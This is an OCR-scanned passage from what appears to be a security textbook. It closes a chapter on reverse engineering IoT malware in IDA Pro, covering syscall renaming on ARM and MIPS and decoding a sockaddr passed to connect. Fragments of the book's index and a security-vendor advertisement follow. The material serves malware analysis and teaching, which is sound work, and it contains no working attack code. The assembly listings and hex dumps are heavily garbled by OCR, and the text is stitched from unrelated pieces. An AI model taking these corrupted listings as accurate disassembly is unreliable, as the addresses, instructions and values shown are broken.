shows an ARM version of the okiru malware (ad52832a507cede6521e11556f7cbb95) 
with the ID 0x900005, which in this case corresponds to the “open” function call. 


00010958 sub 10958 3 CODE XREF: sub 88 
00010958 - sub 8DCO+1F0Tp 

: 00010958 
00010958 var_18 
:00010958 varg_rl 
00010958 varg _ r2 
00010958 varg r3 
00010958 
00010958 : SP!, {R1-R3} 

0001095c 3 TME SP!, {R4,LR} 

00010960 SP, SP, #4 

00010964 Rl, [SP,#0x18+varg_r1] 
00010968 R3, Rl, #0x40 
0001096C R3, SP, #0x18+varg_ r3 
00010970 'RNE R3, [SP,#0x18+var_18] 
00010974 | R3, [SP,#0x18+varg_r2] 
:00010978 R2, R3,LSL#16 
00010970C | R2, R2,LSR#16 
00010980 ` 0x900005 

: 00010984 ; RO, #0x1000 

: 00010988 R4, RO 

0001098C : loc 109A0 

00010990 | sub lO0DAC 

:00010994 R3, R4, #0 

00010998 'F R3, [R0] 

00001099C ton Rå, #0XFFFFFFFF 
:000109A0 


l 


M uu 





Figure 25-25 Renaming syscalls on ARM 


Once the syscalls are renamed, the entire binary will make more sense; from there, 
you can apply the same reversing process as used 1n Windows environments. One of the 
most important pieces of information 1s the IP or domain the malware 1s trying to reach. 
Let's see how that looks in IoT (since it 1s Linux-based, there's really no difference). 

We put a breakpoint at 0x4065C4, and thanks to the syscall renaming, you know it 
corresponds to the “connect” function call (see Figure 25-26). Because of that, you can 
also now identify the parameters by looking at the definition: 


Mui o — 0  —à3 —  — | 


8854865B8 l1: $t9, connect 487638 

B8h865BC mo. $a8, $v 

8856865C 8 $al, $sp, üx18ES*var 18B8 

Bas a865c^ $t9 : connect 487638 

BB8hB865c8 1 Sa2, 8x18 

BOnB65CC 1 $gp, üxiB8ES*var 16D8($sp) 

885 865D8 $v, $s8, loc &^4B865F8 
Saf, $s4 


00406508 lā stg, send 46/7EBO 
88045865DC addiu  $a1, $sp, Gx1GE8+uar 1828 
885865EB8 move $a2, Sfp 

a4  J65E jalr $t9 : send A^87EB8 








B8u5865E8 li $a3, 8xh4888 

005865EC lu $gp, 8xlüES*var 10D8($sp) 

G04065F0 bne gee $s8, loc 406614 

B85865F^ li 
l"FFF»8SBB8 0G 0G 68 BGB BOB OB BO OB GƏ 45 31 DB 08 GB BO OB  .........El1-.... 
I7FFFS8C6 080 B8 88 OO GU 08 00 00 OG 08 OB OO GB OB OG ƏƏ  ................ 
[7FFF58D8 00 62 80 35 |; : cs) 88 88 O8 OO 86 OB BO BO  ...5........... ` 





Figure 25-26 Displaying the sockaddr structure in IDA Pro 
int connect (int sockfd, const struct sockaddr *addr, socklen t addrlen); 


Because you know that the second parameter passed via register Al holds a sockaddr 
structure, you can ask IDA to show you the memory content of that register by right- 
clicking Memory Windows (lower-left window) and selecting “Synchronize with" -> 
A1, as displayed in the aforementioned figure. By looking at the sockaddr in structure 
definition in the following code, you can see that the first parameter 1s the length of the 
structure, which is optional and is not being used 1n this case. You can also see that the 
second parameter 1s the sin family, which has the number in memory equal to 00 02 
(big-endian), corresponding to AF INET. Then follows the port content, 00 35, which 
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is the hexadecimal representation of 53 (domain port). Finally, you see the IP address, 
which corresponds to 08 08 08 08, a public domain IP address. 


struct sockaddr in | 


uint8 t sin len; 
sa family t sin family; 
in port t sin port; 
struct in addr sin addr; 
char sin zero[8];  /* unused */ 


): 


Although this specific connection 1s not related to the C2 server, it serves as an 
example of how to identify structures 1n memory and how to get the proper values out of 
it. 


summary 


This chapter presented an approach to tackling challenges when dealing with RS-232 
interfaces in medical devices—something very common when dealing with IoT 
hardware. The chapter then described the different ways to perform dynamic analysis on 
IoT malware and the setup needed to accomplish that. Last but not least, the labs in this 
chapter showed you how to perform remote debugging with IDA Pro on ARM and MIPS 
architectures, as well as how to perform basic reverse engineering. 


For Further Reading 
BeagleBone Black  http://beagleboard.org/getting-started 
Development platforms: 
BeagleBone Black  https://beagleboard.org/black 
Raspberry Pi https://www.raspberrypi.org/ 
ELF reference www.cs.cmu.edu/afs/cs/academic/class/15213-100/docs/elf.pdf 
Endianness https://en.wikipedia.org/wiki/Endianness 
Logic analyzer https://www.saleae.com/ 
PANDA framework  https://github.com/panda-re/panda 
QEMU https://www.qemu.org/ 
RS-232 serial port https://en.wikipedia.org/wiki/ RS-232 


Sandboxes: 
Cuckoo _https://cuckoosandbox.org/blog/cuckoo-sandbox-v2-rc 1 
Detux https://github.com/detuxsandbox/detux 


Satori IoT malware _http://blog.netlab.360.com/warning-satori-a-new-mirai-variant- 
iS-Spreading-in-worm-style-on-port-372 1 5-and-52869-en/ 


VirtualBox https://www.virtualbox.org/wiki/Downloads 


VirtualBox bridge mode 
configuration https://www.virtualbox.org/manual/ch06.xhtml#network bridged 
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BuildUserAgentStringMobileHelper() function, 380 
Bus Pirate tool, 517, 519 
business structure, 119 
Busybox program, 525, 530 
bypassing memory protections 

ASLR protections, 292—293, 299—316 

DEP protections, 293—299 

/GS protections, 285—286 

SafeSEH protections, 275—277 

SEHOP protections, 277—284 

stack protections, 238—240 
bypassuac command, 338 
bytes, 24 
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compiling with gcc, 23—24 
for and while loops, 20-21 
functions, 16-17 
if/else construct, 22 
main() function, 16 
printf command, 18—19 
sample program, 22—23 
scanf command, 19 
strcpy/strncpy commands, 20 
variables, 1 7-18 

C++ code, 74—77 
HexRaysCodeXplorer, 76—77 
quirks of compiled, 74—75 
runtime type information, 76 
virtual tables, 75 
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ARM code, 565—566 
MIPS code, 566 
Capability Maturity Model (CMM), 147 
Capture phase for SDR, 92—94 
Capture the Flag (CTF) events, 111, 116 
Carbon Black Response, 149 
cat phishing, 138 
category element, 392 
Cauquil, Damien, 277 
CButton creation, 316 
cellular networks, 498 
CERT Coordination Center, 160 
CERT.RSA file, 391 
CERT.SF file, 391 
Certified Ethical Hacking (CEH) certification, 114 
Certified Penetration Tester (GPEN) exam, 114 
CFAA (Computer Fraud and Abuse Act), 10-11 
CFG (Control Flow Guard), 253, 289, 363 
challenge hashes, 183 
char variable, 17 
checkXSS function, 351—352 
Chen, Dominic, 546 
Cheswick, Bill, 465 
chief information security officer (CISO), 13 
chips, embedded device, 511 
Chrome browser. See Google Chrome 
Cipher Block Chaining (CBC), 358 
CISA (Cybersecurity Information Sharing Act), 12—13 
Cisco device decoy emulation, 486 
Cisco Discovery Protocol (CDP) packets, 486 
classes.dex file, 391 
Cobalt Strike software, 136, 139 
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code annotation, 67—77 
C++ code analysis, 74—77 
IDB with IDAscope, 67—73 
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Cohen, Fred, 465 
Coldwind, Gynvael, 61 
collaboration tools, 123 
collaborative analysis, 77—82 
BinNavi tool for, 80—82 
FIRST plug-in for, 78—80 
IDA plug-ins developed for, 77—78 
CollabREate plug-in, 77 
command and control (C2) phase, 152-153, 336 
command line 
exploiting stack overflows from, 209—212 
interacting with decoy system, 486, 487 
Shodan search engine, 503—504 
commands 
C language, 18—20 
edb debugger, 35 
Immunity Debugger, 257—258 
Perl, 202—203, 209 
PowerShell, 325—326 
WinRM for executing, 194—195 
WMI for executing, 191—194 
See also specific commands 
comments 
BinNavi collaboration, 82 
C programming language, 22 
commercial honeypots, 480 
Common Ground blog, 131 
Common Vulnerability Scoring System (CVSS), 173 
Common Weakness Scoring System (CWSS), 173 
communication protocols, 499 
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bug bounty program, 173 
purple teaming, 154 
red teaming, 132-134 
compiler controls exploit mitigation, 290 
compilers 
gcc, 23—24 
Windows, 254—256 
compiling process, 23 
complex instruction set computing (CISC), 558 
Computer Emergency Response Team (CERT), 160 
Computer Fraud and Abuse Act (CFAA), 10-11 
computer memory. See memory 
ConPot honeypot, 472—473 
containment, 128 
ContentType header, 356 
Control Flow Guard (CFG), 253, 289, 363 
cookies 
guessing the value of, 285 
heap metadata, 286 
padding oracle attacks on, 359—361 
replacing with your own, 286 
Coordinated Vulnerability Disclosure (CVD), 160 
Corelan team, 266, 273 
corporate bug bounty programs, 161—162 
Cortex tool, 155 
Cowrie honeypot, 473—475 
CPUS, embedded system, 511—513 
crash analysis, 57—60 
crashing Windows programs, 258—261 
Cross-Site Scripting. See XSS 
CrowdRE plug-in, 77 
CryptAcquireContextA variable, 437—439 
crypter ransomware, 417, 435—441 
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CryptExportKey function, 436 
CryptGetKeyParam function, 437 
CryptGetRandom function, 437 
cryptid value, 412, 413 
cryptographic functions 

IDAscope identification of, 72—73 

ransomware employing, 436, 440—44] 

See also encryption 
CryptReleaseContent function, 437 
CSecurityManager virtual function tables, 312 
CTF (Capture the Flag) events, 111, 116 
CTF365.com website, 116 
CTFtime.org website, 116 
Cuckoo Sandbox, 83—84, 558 
curiosity of spirit, 112 
Curl commands, 169 
custom Linux exploits, 217—222 

attack vector, 219—220 
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EIP control, 217—218 

offset determination, 218—219 

verifying, 221—222 
CVE-2016-0041 Windows vulnerability, 379 
CVE-2017-0147 Windows vulnerability, 373 
CVE-2017-5638 Struts vulnerability, 354—356 
CVE-2017-9805 Struts vulnerability, 356—358 
"Cyber Exercise Playbook" (Mitre Corporation), 130 
Cyber Kill Chain framework, 135, 151—153 
Cyber Security Enhancement Act (CSEA), 12 
cyberlaw, evolution of, 10—13 
cybersecurity 

automation of, 154—155 
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Cybersecurity Information Sharing Act (CISA), 12—13 
Cydia Impactor, 411 


D 
DAD decompiler, 397—398 
Dai Zovi, Dino, 161 
daisy chain configuration, 518—519 
Dalvik executable (DEX) format 
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see also DEX code 
DarunGrim tool, 365, 367 
.data section 1n memory, 26 
data circuit-terminating equipment (DCE), 550 
Data Encryption Standard (DES), 182 
Data Execution Prevention. See DEP 
Data Protection technology, 408 
data sources, threat hunting, 148 
data terminal equipment (DTE), 550 
DataModel section, Peach Pit, 50 
datasheet for devices, 551 
DB-9 connector, 550, 554 
DDS protocol, 499 
debug interfaces, 520—523 
JTAG, 520—522 
SWD, 522-523 
debuggers 
crash analysis and, 57—60 
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'exploitable extension for, 57—58 
gdb debugger, 34—37 
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Immunity Debugger, 256—258 
OllyDbg, 281 
WinDbg, 261, 305 
Windows 8.0, 300 
x64dbg, 85—87 
dec command, 32 
deception, 465—493 
brief history of, 465—466 
open source honeypots for, 466—480 
resources on honeypots and, 491—492 
TrapX DeceptionGrid for, 480—491 
See also honeypots 
deception tokens, 487, 488 
Deception Toolkit, 465 
decision frameworks, 150-151 
decode function, 102, 103 
decompilation 
of DEX code, 395, 396—398 
of Java code, 395-396 
decoy systems, 485—486 
decryption 
Apple Store application, 411—413 
cookie value, 360—361 
delivery phase, 152 
DEP (Data Execution Prevention) 
bypassing, 293—299 
explanation of, 289—290 
ProSSHD exception for, 263 
ROP exploitation of, 263, 289 
Department of Defense Directive (DoDD), 128 
Department of Homeland Security (DHS), 117 
DES (Data Encryption Standard), 182 
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disassembling code 
binary diffing tools for, 365—371 
DEX file disassembly, 398—399 
disassemblers for, 365, 398—399 
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distributed denial-of-service (DDOS) attacks, 507 
DLLs (dynamic link libraries), 364 
side-loading bugs, 378—379 
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dlopen() function, 245 
disym() function, 245 
DNS redirectors, 136 
Docker tool, 342, 354, 357, 359, 472 
Document Object Model (DOM), 348, 350—353 
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DOM (Document Object Model), 348, 350—353 
DOM Element Property Spray (DEPS), 286 
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double word (DWORD), 24 
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IDAscope plug-in, 68 
patches, 373—374 
PowerSploit, 329 
Python, 37 
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Dradis reporting tool, 124 
DREAD classification scheme, 135 
Droidbox, 405, 406—407 
dropped files, 84 
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dumb fuzzers, 48 
dumbdecrypted tool, 412 
dump pipe redirectors, 136 
duplex communications, 90 
dwFlags argument, 379, 381 
dynamic analysis, 83—87 
automated with Cuckoo Sandbox, 83—84 
bridging gap with static analysis, 84—85 
emulation used for, 541—547 
hardware as basis of, 536—540 
of IoT malware, 562—564 
lab exercises for working with, 85—87 
Labeless plugin for, 85, 86, 87 
of Ransomlock malware, 419—422 
reverse engineering with, 83—87, 402 
See also static analysis 
dynamic link libraries. See DLLs 
/DYNAMICBASE option, 290, 292 
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echo command, 358 
Economou, Nicolas, 365 
EDI register, 310, 312 
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controlling for exploits, 206, 217—218, 264—265 
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resources about, 526—527, 547 
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static analysis of vulnerabilities 1n, 529—536 
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emulating 
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IoT threats, 557—562, 568—571 
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black-box, 405, 406—407 
firmware, 541, 543—545 
QEMU, 558, 560—562, 568—571 
running APK 1n, 399—402 
encoded commands, 325-326 
encodedcommand option, 322, 326 
encryption 
ATM disk, 462 
cookie value, 361 
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ransomware, 436, 440—441 
endian methods, 25 
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black-box emulator, 405, 406—407 
hardware analysis test, 536—537 
sandbox, 408—409 
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security concerns, 499—500 


Technet24 


Shodan search engine for, 500—505 
types of connected things, 497—498 
unauthenticated access to, 506—507 
wireless protocols, 498—499 

Internet of Things (IoT) malware, 549—574 
debugging and reversing, 567—574 
dynamic analysis of, 562—564 
lab on troubleshooting, 551—557 
physical access to device for, 549 
resources related to, 574 
reverse engineering, 565—574 
threat lab setup for, 557—562 
worm attacks as, 507—508 

Internet of Things Scanner, 508 

Invoke-Expression function, 327 

Invoke- WebRequest function, 327 

iOS platform, 407—413 
applications, 409 
boot process security, 408 
encryption and data protection, 408 
labs on malware related to, 410—413 
sandbox environments, 408—409 
security mechanisms, 407—409 

IoT. See Internet of Things 

IPA archive, 409 

iPhone 4s jailbreak, 410—411 

IR playbooks, 155 

ISO security frameworks, 146 

isolated heaps, 300, 304 

IV pump troubleshooting, 551—557 


J 


jailbreaking 
classes of, 411 


iPhone 4s, 410—411 
Java archive (JAR), 389 
Java code 
decompilation of, 395—396 
DEX code related to, 393, 394 
Java Virtual Machine (JVM), 395 
JavaScript 
Asynchronous, 348 
error tracking, 351—352 
JQuery library, 348, 353 
prevalence for web applications, 348 
XSS manipulation of, 352—353 
JavaScript Object Notation (JSON) format, 406 
JD decompiler, 395 
JD-GUI, 395, 396 
je command, 32 
JEB decompiler, 396—397 
jmp command, 32, 269 
jne command, 32 
jnz command, 32 
John the Ripper, 186, 333 
Johnson, Ken, 287, 291 
Joint Test Action Group (JTAG), 520 
JQuery library, 348, 353 
JTAG interfaces, 520—522, 526 
JTAGulator tool, 514—515 
jz command, 32 


K 

Kali Linux, 19, 61, 503 

KANAL - Crypto Analyzer, 436 
Katz, Phil, 390 

KeePass password safe, 139 

kernel patches and scripts, 241—242 


Technet24 


keylogging process, 454 

Kibana (ELK) stack, 475 

Kill Chain Countermeasure framework, 153—154 
Koret, Joxean, 365 

Krebs, Brian, 453, 507 


L 
Labeless plugin, 85, 86, 87 
labels, Python, 39—40 
Le Berre, Stéfan, 277 
lea command, 32 
leak variable, 314, 315 
leakware (doxware), 418 
leave statement, 200 
less-than operator (<), 21 
less-than-or-equal-to operator (<=), 21 
LFH (low fragmentation heap), 256—287 
liability considerations, 119 
Libsafe library, 237, 251 
limited liability company (LLC), 119 
Linares, Greg, 374, 378 
Link Local Multicast Name Resolution (LLMNR), 181—182 
linking process, 23 
Linux exploits, 199—252 
advanced, 225—252 
attack vector for, 219—220 
buffer overflows and, 201—207 
building custom, 220—221 
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verifying custom, 221—222 
writing to arbitrary memory, 232—234 
Linux memory protections, 237—251 
ASLR objectives for, 242 
bypassing for stacks, 238—240 
kernel patches and scripts, 241—242 
Libsafe library, 237 
non-executable stacks, 241 
privilege maintenance, 247—251 
return to libc exploits and, 242—247 
Stack Smashing Protection, 238 
StackShield and StackGuard, 237 
summary list of, 251 
lists, Python, 41—42 
living off the land, 321—322 
LoadLibrary function, 378, 438 
LoadLibraryEX function, 379 
LoadManagerFunction(), 449 
local buffer overflow exploits, 207—216 
components of, 207—209 
small buffers and, 214—216 
stack overflows and, 209—214 
local line comments, 82 
Local Security Authority Subsystem Service (LSASS), 331—332 
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Tangible Security provides private and public sector engineering and cyber expertise. 
We use our mission, industry and domain knowledge to enhance customers’ system 
capabilities and secure their operations. Our systems engineering, software 
development and cyber expertise includes military systems development, cyber 
operations, and rapid response efforts for very large, complex enterprises. 


Solutions & Services 
* Cyber Security Assessments/ 
Pen lesting 
* Virtual Cyber Security Office 
(vCSO)/Advisory Services 
* Hardware/Software/Secure 


* Enterprise Systems Engineering 


* Software Development & 
Enhancements 


* |dentity and Access Management 
* Public Key Infrastructure & 


Enablement Product Testing/loT 
* Enterprise Directory Services * Governance Risk and Compliance 
* Role Based Access Controls services (GRC) 


* Perimeter/Multi-Level Security 


Compliance Standards 


* NIST 800-53 * NIST 800-30 * NIST 800-18 
* NIST 800-37 * NIST 800-60 * NIST 800-82 
* NIST 800-61 * NIST 800-39 * PCI DSS 

* NIST 800-171 * NIST 800-59 * DISA STIGs 


We Solve Difficult Problems. 


We Stop Adversaries. 


* Red/Blue/Purple Teams 

* Incident Response & Remediation 

* Secure Development Lifecycle 
(SDLC) Services 

* ICS/SCADA Services 

* Security Awareness Services 

* Cyber Security Training 

* Managed Security Operations 


* FIPS 199 and 200 

* FISMA/GDPR 

* Sarbanes-Oxley 

* NERC CIP and ISA/IEC 


We achieve Tangible results. 
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Intelligence customers withstand the worst that 
nation-state hackers and ruthless adversaries could 
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presentations help advance the Cyber Industry. 
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